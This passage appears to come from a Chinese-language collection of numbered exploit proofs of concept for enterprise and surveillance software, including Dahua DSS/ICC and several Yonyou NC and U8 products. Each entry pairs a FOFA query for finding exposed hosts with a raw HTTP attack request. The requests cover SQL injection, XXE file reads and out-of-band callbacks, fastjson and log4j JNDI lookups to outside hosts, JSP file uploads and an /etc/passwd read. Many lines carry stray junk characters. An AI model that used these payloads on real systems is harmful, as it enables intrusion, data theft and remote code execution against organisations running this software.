- B* D7 i1 @9 S( C/ qUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.47 Safari/537.36
( ^$ g& g& Y5 {8 u3 p! t- X% IConnection: close
% o& P: Y  A% }2 N  X& R8 _Accept: application/signed-exchange;v=b3;q=0.7,*/*;q=0.8
Accept-Language: en
sec-ch-ua-platform: Windows
& ~3 k- k! r0 j6 R& L# }& ^Accept-Encoding: gzip

  q) v: P8 J5 z2 Z
  t7 i5 L- c7 K, B- P16.  红帆HFOffice医微云SQL注入
FOFA：title="HFOffice"
poc中调用函数计算1234的md5值
# p0 `+ B7 ~/ N6 L, b7 ]GET /api/switch-value/list?sorts=%5B%7B%22Field%22:%221-CONVERT(VARCHAR(32),%20HASHBYTES(%27MD5%27,%20%271234%27),%202);%22%7D%5D&conditions=%5B%5D&_ZQA_ID=4dc296c6c69905a7 HTTP/1.1
Host: x.x.x.x
; x8 a; v6 [6 V8 J6 C) ~/ _User-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1866.237 Safari/537.36
$ D  q+ D9 y. rConnection: close
Accept: */*
2 q* t% _! L- aAccept-Language: en
Accept-Encoding: gzip

2 @/ j9 L& C. T/ n5 X: S
/ G( k$ \5 m7 p! n: L* g/ x17. 大华 DSS itcBulletin SQL 注入
  z1 H" v7 w6 Z) i8 PFOFA：app="dahua-DSS"
POST /portal/services/itcBulletin?wsdl HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Connection: close
- Q, p! u1 b% p+ Z. ?( W2 W# PContent-Length: 345
( R5 |  w3 l6 e/ J5 z, J9 j" I' hAccept-Encoding: gzip
) }8 u0 E* t  D: ?1 p( u. @
2 [& |* d$ S" _! N( d* w<s11:Envelope xmlns:s11='http://schemas.xmlsoap.org/soap/envelope/'>
. m. p7 Y8 I; u- s# b+ d<s11:Body>
2 H+ y% ~! E" }5 E; F    <ns1:deleteBulletin xmlns:ns1='http://itcbulletinservice.webservice.dssc.dahua.com'>
& _  z' M+ I- j' |% x      <netMarkings>
       (updatexml(1,concat(0x7e,md5(102103122),0x7e),1))) and (1=1
      </netMarkings>
: A( ~/ ^$ o# s/ u3 S' t    </ns1:deleteBulletin>
+ V. }- o: {7 m# B/ i$ b! R# e  </s11:Body>
/ B/ f) X( X( g5 y8 P' S</s11:Envelope>
- D0 }4 x  ]- C( i/ A

18. 大华 DSS 数字监控系统 user_edit.action 信息泄露
  b. r+ u+ y6 r: w4 i2 T0 NFOFA：app="dahua-DSS"
7 \" P7 ~, A4 X) @: CGET /admin/cascade_/user_edit.action?id=1 HTTP/1.1
6 i0 J: H) [1 j! B1 Y2 v) Y5 V% qHost: your-ip
, f6 ]% k; \; B" Q2 B  ?1 L& WUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
+ d- P+ i3 X9 O$ e0 \4 `8 l% wAccept-Encoding: gzip, deflate
9 {. S1 e" M+ pAccept: */*
, _' Y- s7 }3 j8 S. WConnection: keep-alive



4 Z8 ^+ Y$ ?1 v19. 大华 DSS 数字监控系统 attachment_clearTempFile.action SQL注入
& L' }- G& M+ Z, M9 ]FOFA：app="dahua-DSS"
GET /portal/attachment_clearTempFile.action?bean.RecId=1%27)%20AND%20EXTRACTVALUE(8841,CONCAT(0x7e,user(),0x7e))%20AND%20(%27mYhO%27=%27mYhO&bean.TabName=1 HTTP/1.1
Host:
User-Agent:Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
8 K# c; _5 p6 {1 b. @3 AAccept: */*
Connection: keep-alive

6 g: E9 s( S! w7 h
0 L# m9 t7 i$ a! v20. 大华ICC智能物联综合管理平台任意文件读取
FOFA：body="*客户端会小于800*"
GET /evo-apigw/evo-cirs/file/readPic?fileUrl=file:/etc/passwd HTTP/1.1
Host: x.x.x.x
: v& ]- [  e" X/ u4 e( o% H- _& Q1 AUser-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
Connection: close
Accept: */*
( w; H7 D9 K& Y3 l+ q: _Accept-Language: en
Accept-Encoding: gzip

( O% [7 D, I: H, L0 U2 \
21. 大华ICC智能物联综合管理平台random远程代码执行
FOFA：icon_hash="-1935899595"
& D; u5 x0 F+ ^; C7 JPOST /evo-runs/v1.0/auths/sysusers/random HTTP/1.1
Host: x.x.x.x
; ^9 ^& z5 \1 EUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
/ S/ p) N  l6 u3 M3 p  uContent-Length: 161
Accept-Encoding: gzip
Connection: close
Content-Type: application/json;charset=utf-8

{
! l# C1 |! x, Q4 F' G, t7 D; E"a":{
& w# V$ u1 Q' h7 P' Q   "@type":"com.alibaba.fastjson.JSONObject",
    {"@type":"java.net.URL","val":"http://farr9frh.dnslog.pw"}
% P$ V2 y+ U% Z# r  }""
" Z+ D/ _& w, q3 x: X4 E3 _}

0 O- h( q. W6 f4 l: {& {
6 ~7 [9 M5 S: M* h4 W) d4 q2 W22. 大华ICC智能物联综合管理平台 log4j远程代码执行
FOFA：icon_hash="-1935899595"
, Z  ]; {9 {) u4 cPOST /evo-apigw/evo-brm/1.2.0/user/is-exist HTTP/1.1
9 _1 z' `% W7 `  p3 c9 U- THost: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
+ p0 i" ^! U' q0 N& A$ _Content-Type: application/json;charset=utf-8
( a1 {8 X& Y$ [9 |: Q  y3 h- S
3 F5 Q, n7 q9 l9 C{
5 p+ |+ y4 h: c- @, g. }"loginName":"${jndi:ldap://dnslog}"
}
% |- D: t; q7 N1 @+ O! \
& Y2 I0 U' `& B
. J' g2 K+ e5 N. y
' z" s# O- V8 g. v, i' K* b7 S8 Q23. 大华ICC智能物联综合管理平台 fastjson远程代码执行
' E! A' i0 r) L8 _FOFA：icon_hash="-1935899595"
  M1 ]. b% c0 j. Q: n- i: ^7 kPOST /evo-runs/v1.0/auths/sysusers/random HTTP/1.1
- d4 \( [7 z$ H' c, VHost: your-ip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
9 K' F. a. t- N3 H; OContent-Type: application/json;charset=utf-8
: f; A# M+ B  t; K3 c9 F) B7 SAccept-Encoding: gzip
8 A4 i5 E% {; b; jConnection: close

. v5 D7 H- m* J+ H" A/ W, m0 M' J{
    "a":{
  Z0 K- _2 s. B3 v4 q        "@type":"com.alibaba.fastjson.JSONObject",
       {"@type":"java.net.URL","val":"http://DNSLOG"}
: P  d9 g& d) ~. s6 `9 R) x        }""
}
2 E! Q1 i6 ]. W6 O: Y* {) y
. _5 `, p8 E  k: i
, v1 P8 ]; J2 f24. 用友NC 6.5 accept.jsp任意文件上传
* T; ?+ c# T% KFOFA：icon_hash="1085941792"
5 E9 A% P; B8 f% EPOST /aim/equipmap/accept.jsp HTTP/1.1
- L) q6 Q: v5 w# D; D' FHost: x.x.x.x
5 G: P  W3 Z) gUser-Agent: Mozilla/5.0 (X11; OpenBSD i386) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.125 Safari/537.36
Connection: close
Content-Length: 449
- ^* S1 w/ [" Q  k+ e9 ]Accept: */*
Accept-Encoding: gzip
- B: l0 t1 m% A2 v9 C5 A5 iContent-Type: multipart/form-data; boundary=---------------------------yFeOihSQU1QYLu0KwhX72U5C1sMYc
- {9 Y( z$ c5 W. o- j/ `/ h
-----------------------------yFeOihSQU1QYLu0KwhX72U5C1sMYc
Content-Disposition: form-data; name="upload"; filename="2XpU7VbkFeTFZZLbSMlVZwJyOxz.txt"
) V! H, f* @1 D) I( I4 iContent-Type: text/plain
7 G' O- }  x3 J& P0 ^' |
<% out.println("2XpU7Y2Els1K9wZvOlSmrgolNci"); %>
-----------------------------yFeOihSQU1QYLu0KwhX72U5C1sMYc
Content-Disposition: form-data; name="fname"

& I: n" x% \9 V4 ~\webapps\nc_web\2XpU7WZCxP3YJqVaC0EjlHM5oAt.jsp
-----------------------------yFeOihSQU1QYLu0KwhX72U5C1sMYc--
- ^' A/ E7 p6 ]9 I. Z. J* H$ s

: n" _0 T1 e, {2 d9 F25. 用友NC registerServlet JNDI 远程代码执行
0 }. V7 t$ ~+ W9 L; M9 M" [2 UFOFA：app="用友-UFIDA-NC"
POST /portal/registerServlet HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0
: I9 ^$ S! \) R: V2 T6 iAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*; q=0.8,application/signed-exchange;v=b3;q=0.9
* J1 W% q! `" ~2 b% h3 @; UAccept-Encoding: gzip, deflate
" u2 o* P& w8 _/ a( }% kAccept-Language: zh,en-US;q=0.9,en-GB;q=0.8,en;q=0.7,zh-CN;q=0.6
Content-Type: application/x-www-form-urlencoded

type=1&dsname=ldap://dnslog
+ j3 K" U! }# i" k2 S  C# I4 w+ _
% J' |2 L4 B* ^

26. 用友NC linkVoucher SQL注入
) K" |+ [- z3 J; V) T" PFOFA：app="用友-UFIDA-NC"
GET /portal/pt/yercommon/linkVoucher?pageId=login&pkBill=1'waitfor+delay+'0:0:5'-- HTTP/1.1
& w9 A0 S, S. r" S4 `6 NHost: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
" h2 p# c0 z6 c; wContent-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
Accept: */*
( A7 E+ Z6 Y3 v$ W1 ~+ kConnection: keep-alive
) r, C5 q: p1 W! `" \3 h

9 @3 B+ p; L2 F. Y' u( G5 z27. 用友 NC showcontent SQL注入
FOFA：icon_hash="1085941792"
GET /ebvp/infopub/showcontent?id=1'+AND+1=DBMS_PIPE.RECEIVE_MESSAGE(1,5)-- HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
' e8 M8 F8 ~8 ~0 Y# pAccept-Encoding: identity
Connection: close
Content-Type: text/xml; charset=utf-8
) ^( \' s/ ~, t, {
: b* R5 r5 M8 T' ~+ ?* u( R
28. 用友NC grouptemplet 任意文件上传
FOFA：icon_hash="1085941792"
3 d9 L5 c" o2 B. o1 K6 H5 GPOST /uapim/upload/grouptemplet?groupid=nc&fileType=jsp HTTP/1.1
Host: x.x.x.x
: U( w% k% |2 L5 W; t# aUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36
Connection: close
Content-Length: 268
Content-type: multipart/form-data; boundary=----------ny4hGVLLpZPZm0CE3KNtyhNSXvFgk
Accept-Encoding: gzip
8 d! [, ?, M7 @' y3 f9 x
% X5 W4 U- B. P0 c------------ny4hGVLLpZPZm0CE3KNtyhNSXvFgk
Content-Disposition: form-data; name="upload"; filename="2fiu0YTGkaX2DrJlUZZP5IGvNvk.jsp"
( x4 i& d" j; E' {' S/ ?Content-Type: application/octet-stream
  {4 u8 w0 c% I5 e$ R
  q% O! |: r. B0 j' i<%out.println("2fiu0WM4788fa6NcMHipkIthTTW");%>
% H, |. G& u" G3 G  [; X0 }. U------------ny4hGVLLpZPZm0CE3KNtyhNSXvFgk--
' w. z8 r7 l7 B
1 [% r; r) t2 S
4 K$ e4 P/ f% f1 G/uapim/static/pages/nc/head.jsp

29. 用友NC down/bill SQL注入
FOFA：icon_hash="1085941792" && body="/logo/images/logo.gif"
GET /portal/pt/erfile/down/bill?pageId=login&id=1'+AND+4563=DBMS_PIPE.RECEIVE_MESSAGE(CHR(65),5)-- HTTP/1.1
Host: your-ip
% i9 V. |# {# rUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Content-Type: application/x-www-form-urlencoded
! S# z: s/ U. q) |# \2 h5 lAccept-Encoding: gzip, deflate
0 p, D" N3 K/ a2 `, F( _) ]Accept: */*
Connection: keep-alive
/ s: ^( t9 p6 U3 X) T, h
1 q: p) k( F2 K
, |6 y. e, j! Y6 C( ^: C9 }30. 用友NC importPml SQL注入
FOFA：icon_hash="1085941792" && body="/logo/images/logo.gif"
POST /portal/pt/portalpage/importPml?pageId=login&billitem=1'WAITFOR+DELAY+'0:0:5'-- HTTP/1.1
, S! V8 Z2 M. o( I5 l, nHost: your-ip
7 V8 |9 E% L  x: e5 S- U8 ZContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryH970hbttBhoCyj9V
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36
: i" R2 o4 e: zConnection: close
& ?4 z8 P; G  @
% A1 _9 s! L7 ?/ E/ b) ]1 U------WebKitFormBoundaryH970hbttBhoCyj9V
( z/ o6 z* L* z) Z" qContent-Disposition: form-data; name="Filedata"; filename="1.jpg"
! _7 s  x, O- }* @8 R" }: `Content-Type: image/jpeg
, I% R/ g6 C# M# s------WebKitFormBoundaryH970hbttBhoCyj9V--
8 p. t+ p: k/ b

31. 用友NC runStateServlet SQL注入
version<=6.5
7 Q1 t3 @$ r; w% ^+ j2 kFOFA：icon_hash="1085941792" && body="/logo/images/logo.gif"
GET /portal/pt/servlet/runStateServlet/doPost?pageId=login&proDefPk=1'waitfor+delay+'0:0:5'-- HTTP/1.1
8 e3 y7 q; T2 i1 p' P# _Host: host
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
Content-Type: application/x-www-form-urlencoded
2 ?8 W; A4 [: Z2 T3 T. Y
" i5 c9 Z7 s, z% }4 c. t
32. 用友NC complainbilldetail SQL注入
version= NC633、NC65
$ i7 l7 H3 ~( |FOFA：app="用友-UFIDA-NC"
" P# L) B- p" W1 xGET /ebvp/advorappcoll/complainbilldetail?pageId=login&pk_complaint=1'waitfor+delay+'0:0:5'-- HTTP/1.1
% v7 q4 G9 n+ ?7 S+ CHost: your-ip
# _; `: d; N( w3 SUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
8 ^1 ?1 }8 y6 V% VContent-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
Accept: */*
$ U9 `9 N. a7 C0 }! J7 ?  |' MConnection: keep-alive

) ]) g1 f' N- i
33. 用友NC downTax/download SQL注入
version：NC6.5FOFA：app="用友-UFIDA-NC"
GET /portal/pt/downTax/download?pageId=login&classid=1'waitfor+delay+'0:0:5'-- HTTP/1.1
Host: your-ip
7 O  c. `# t2 K7 U5 TUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
' D/ r) B( z6 l& A; JAccept: */*
Connection: keep-alive


34. 用友NC warningDetailInfo接口SQL注入
FOFA：app="用友-UFIDA-NC"
* c, D3 q- D! zGET /ebvp/infopub/warningDetailInfo?pageId=login&pkMessage=1'waitfor+delay+'0:0:5'-- HTTP/1.1
/ W3 w1 m3 z% s% `: ~7 q; J  D0 Q0 e8 jHost: your-ip
  F7 U; f6 K! ?! s2 d, G4 ^User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
5 D8 E0 S. v8 @% LContent-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
( S: e# |/ K2 a. u- `" o, S8 u4 tAccept: */*
Connection: keep-alive

$ T/ G7 Y; j5 ^; a1 D# k; H
/ }' G% d1 |& `3 y35. 用友NC-Cloud importhttpscer任意文件上传
FOFA：app="用友-NC-Cloud"
$ E9 [/ b! n7 b$ C# ~POST /nccloud/mob/pfxx/manualload/importhttpscer HTTP/1.1
" l8 d3 s# r0 h' \4 X, fHost: 203.25.218.166:8888
) s1 j8 |" O& r2 K9 g+ bUser-Agent: Mozilla/5.0 (Windows NT 5.1; rv:5.0) Gecko/20100101 Firefox/5.0 info
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
$ i( v' J" q& J; f& C  U' t! T9 ?accessToken: eyJhbGciOiJIUzUxMiJ9.eyJwa19ncm91cCI6IjAwMDE2QTEwMDAwMDAwMDAwSkI2IiwiZGF0YXNvdXJjZSI6IjEiLCJsYW5nQ29kZSI6InpoIiwidXNlclR5cGUiOiIxIiwidXNlcmlkIjoiMSIsInVzZXJDb2RlIjoiYWRtaW4ifQ.XBnY1J3bVuDMYIfPPJXb2QC0Pdv9oSvyyJ57AQnmj4jLMjxLDjGSIECv2ZjH9DW5T0JrDM6UHF932F5Je6AGxA
. C2 E# x$ k. k$ KContent-Length: 190
Content-Type: multipart/form-data; boundary=fd28cb44e829ed1c197ec3bc71748df0

--fd28cb44e829ed1c197ec3bc71748df0
Content-Disposition: form-data; name="file"; filename="./webapps/nc_web/1.jsp"

' c( G  t" l0 _/ D, `3 Z( o<%out.println(1111*1111);%>
--fd28cb44e829ed1c197ec3bc71748df0--
& \( h& T, i1 S" j
# y: f. `, {# M. `  \+ T
  N5 I0 V" l, p) K# y) N1 d& j) J36. 用友NC-Cloud soapFormat XXE
FOFA：body="/Client/Uclient/UClient.exe"||body="ufida.ico"||body="nccloud"||body="/api/uclient/public/"
POST /uapws/soapFormat.ajax HTTP/1.1
Host: 192.168.40.130:8989
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/109.0
$ J; M4 G4 P" N& BContent-Length: 263
) i/ w9 C0 s" x6 DAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
  p( k. Q8 n: w- cAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Connection: close
4 S, I: a% z2 {6 x0 @+ dContent-Type: application/x-www-form-urlencoded
' s+ w/ n3 j( q* d% z. ~- r% WUpgrade-Insecure-Requests: 1
6 J  d" X% w" R! C
msg=<!DOCTYPE foo[<!ENTITY xxe1two SYSTEM "file:///C://windows/win.ini"> ]><soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><soap:Fault><faultcode>soap:Server%26xxe1two%3b</faultcode></soap:Fault></soap:Body></soap:Envelope>%0a


! t7 ^2 z5 e( J: N5 S5 F3 p37. 用友NC-Cloud IUpdateService XXE
6 r' W9 g0 ]. o( D( E2 u$ WFOFA：body="/Client/Uclient/UClient.exe"||body="ufida.ico"||body="nccloud"||body="/api/uclient/public/"
( j: @. e: {' F1 p2 u7 APOST /uapws/service/nc.uap.oba.update.IUpdateService HTTP/1.1
Host: 192.168.40.130:8989
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36
4 w& v$ ?9 B) nContent-Length: 421
8 }* n6 V. Y2 i! w0 lAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
; \+ P4 Y2 F1 S+ ?/ x5 C4 MAccept-Encoding: gzip, deflate
- v* ~+ A# e* p+ ]6 sAccept-Language: zh-CN,zh;q=0.9
& i$ u5 A0 A+ g5 y: f4 t$ zConnection: close
( ~0 e9 A8 Z* ~" l, I/ Z2 |0 p; M5 `Content-Type: text/xml;charset=UTF-8
SOAPAction: urn:getResult
Upgrade-Insecure-Requests: 1
/ s! P6 V8 g1 ^( @
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:iup="http://update.oba.uap.nc/IUpdateService">
<soapenv:Header/>
<soapenv:Body>
<iup:getResult>
<!--type: string-->
4 C5 w/ u7 _/ Z+ n- p<iup:string><![CDATA[
# v) T( J# t! G! d# L<!DOCTYPE xmlrootname [<!ENTITY % aaa SYSTEM "http://c2vkbwbs.dnslog.pw">%aaa;%ccc;%ddd;]>
/ ]9 i1 H4 J/ ]+ L<xxx/>]]></iup:string>
. C1 q- F7 D& ~1 V' F7 P' Q) L</iup:getResult>
</soapenv:Body>
' @, w8 s5 G$ F: R</soapenv:Envelope>
0 K0 O* k4 U3 V4 @


3 C) V2 [0 c) P/ [! f38. 用友U8 Cloud smartweb2.RPC.d XXE
( G3 d, q3 e1 sFOFA：app="用友-U8-Cloud"
+ h! U8 L. i. \  cPOST /hrss/dorado/smartweb2.RPC.d?__rpc=true HTTP/1.1
) w6 P' G, b0 l3 I$ f* [" h  NHost: 192.168.40.131:8088
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 12_10) AppleWebKit/600.1.25 (KHTML, like Gecko) Version/12.0 Safari/1200.1.25
2 i8 f" ?& y6 j! U5 s2 eContent-Length: 260
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3
Accept-Encoding: gzip, deflate
" s. F$ F8 o( lAccept-Language: zh-CN,zh;q=0.9
8 Z/ F% e0 x: Q" ]* q. ~Connection: close
# U; m5 g0 p; dContent-Type: application/x-www-form-urlencoded

__viewInstanceId=nc.bs.hrss.rm.ResetPassword~nc.bs.hrss.rm.ResetPasswordViewModel&__xml=<!DOCTYPE z [<!ENTITY Password SYSTEM "file:///C://windows//win.ini" >]><rpc transaction="10" method="resetPwd"><vps><p name="__profileKeys">%26Password;</p ></vps></rpc>
2 l$ G- |1 q6 |# z5 M) b, k
1 d- J+ ?* D9 m& m) X
- ?  r% h* T  b# |; N39. 用友U8 Cloud RegisterServlet SQL注入
FOFA：title="u8c"
5 L7 J* v# Y: m1 m4 }  }& x9 T# Y5 LPOST /servlet/RegisterServlet HTTP/1.1
# m7 j7 }& k' r# z( i1 H2 wHost: 192.168.86.128:8089
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2866.71 Safari/537.36
: m0 i6 W, X9 \  n1 [Connection: close
6 K0 P! n# a/ G  A) w  _Content-Length: 85
Accept: */*
Accept-Language: en
6 O, T7 ^1 n  f1 M. D) _9 U- g+ BContent-Type: application/x-www-form-urlencoded
7 c% j1 ?) @6 f' ]. B: z) V* c/ @X-Forwarded-For: 127.0.0.1
Accept-Encoding: gzip

  e/ Q/ v. R& C; ^usercode=1' and substring(sys.fn_sqlvarbasetostr(HashBytes('MD5','123456')),3,32)>0--
/ w1 H1 l- P  }8 i  U

40. 用友U8-Cloud XChangeServlet XXE
FOFA：app="用友-U8-Cloud"
' Q+ r2 f4 n8 F$ aPOST /service/XChangeServlet HTTP/1.1
Host: x.x.x.x
0 S; C: B5 G; M. F9 P0 a7 C8 PUser-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
. n/ p5 C" P7 gContent-Type: text/xml
Connection: close

<!DOCTYPE r [<!ELEMENT r ANY ><!ENTITY xxe SYSTEM "http://farr9frh.dnslog.pw">]><r><a>&xxe;</a ></r>


8 X( J. C/ v1 J1 x" X, \, \41. 用友U8 Cloud MeasureQueryByToolAction SQL注入
7 P, k( b) K* L, J" h2 q! v' Y8 V* ~FOFA：app="用友-U8-Cloud"
" I- g, [! f/ Q- eGET /service/~iufo/com.ufida.web.action.ActionServlet?action=nc.ui.iufo.query.measurequery.MeasureQueryByToolAction&method=execute&query_id=1%27);WAITFOR+DELAY+%270:0:5%27--+ HTTP/1.1
! v; G# y; h$ K/ t2 pHost:
5 |! c5 a9 G9 aUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Content-Type: application/json
Accept-Encoding: gzip
) _- u' }2 h0 C: B6 W8 e* g( R! ~Connection: close
, N# b2 Y8 b, K/ B" q. K7 h+ Y

3 J: o6 w( ^& Y, U6 |/ ?42. 用友GRP-U8 SmartUpload01 文件上传
5 f% y, M# S- w; A8 i; t5 G3 o/ OFOFA：app="用友-GRP-U8"
: s, [( M1 C/ y1 _" VPOST /u8qx/SmartUpload01.jsp HTTP/1.1
Host: x.x.x.x
9 C7 F3 G. F* }' v/ g% `Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryzhvrkrqt
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2062.124 Safari/537.36

2 q# q& b. |% J" {PAYLOAD
" w' R- p3 \" ]5 G/ p% n

# U' I! ]  b$ l$ T( u( E& z, N5 ~0 `http://x.x.x.x/jatoolsreport?file=/1.pdf&as=dhtml
5 Z  k* Y9 A: ]( T% E) j6 b/ F8 p
43. 用友GRP-U8 userInfoWeb SQL注入致RCE
+ L9 D, o+ z/ GFOFA：app="用友-GRP-U8"
POST /services/userInfoWeb HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36(KHTML, like Gecko) Chrome/93.0.4577.63 Safari/537.36
* ^$ {8 g1 H; D( [7 RAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
/ u6 i* N: Z: H3 ]Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
' p6 G6 c' r# A' JConnection: close
( p( J! ]5 h' q( pSOAPAction:
2 p; l0 f  o- V$ Q: ]5 R! s4 eContent-Type: text/xml;charset=UTF-8
2 p3 }3 V4 H  |' c# j0 _0 z$ P% d
<soapenv:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:ser="http://service.pt.midas.ufgov.com">
+ l: d  B8 U% ]   <soapenv:Header/>
   <soapenv:Body>
      <ser:getUserNameById soapenv:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
         <userId xsi:type="soapenc:string" xmlns:soapenc="http://schemas.xmlsoap.org/soap/encoding/">';waitfor delay '0:0:5'--</userId>
      </ser:getUserNameById>
& \, [$ R& n4 l   </soapenv:Body>
</soapenv:Envelope>
3 A0 ]$ z4 p3 \# g4 v0 |
0 Z  U3 K% s# q+ b/ I
44. 用友GRP-U8 bx_dj_check.jsp SQL注入
  o( k2 v, n" j4 X8 n, J" ~( U3 \6 G8 `FOFA:app="用友-GRP-U8"
GET /u8qx/bx_dj_check.jsp?djlxdm=OER&djid=1';waitfor+delay+'0:0:5'-- HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
1 ]4 |) b! I1 J1 w$ D2 m! R; SAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
( t% S5 k) M3 c0 @- C/ uConnection: close


( p; J( D) g8 p. |$ E45. 用友GRP-U8 ufgovbank XXE
2 V  y& i- {( a" HFOFA：app="用友-GRP-U8"
POST /ufgovbank HTTP/1.1
Host: 192.168.40.130:222
( g! A& [$ Y6 K! |+ U4 kUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:104.0) Gecko/20100101 Firefox/104.0
Connection: close
2 r' G. S) Y8 g& Z1 gContent-Length: 161
5 c( C( _5 B; J# X1 cAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
+ Z: O( }0 Y9 z' U/ IAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
; Y; W8 O' H. c- D1 I9 R* |8 r
$ ?0 @+ ]  W' r  }: }0 f7 O3 RreqData=<?xml version="1.0"?>
6 j0 f+ _9 |2 H$ u<!DOCTYPE foo SYSTEM "http://c2vkbwbs.dnslog.pw">&signData=1&userIP=1&srcFlag=1&QYJM=0&QYNC=adaptertest

$ T2 Y8 |5 w: q7 c
46. 用友GRP-U8 sqcxIndex.jsp SQL注入
) b- F6 T2 x% g# _! H7 u1 CFOFA：app="用友-GRP-U8"
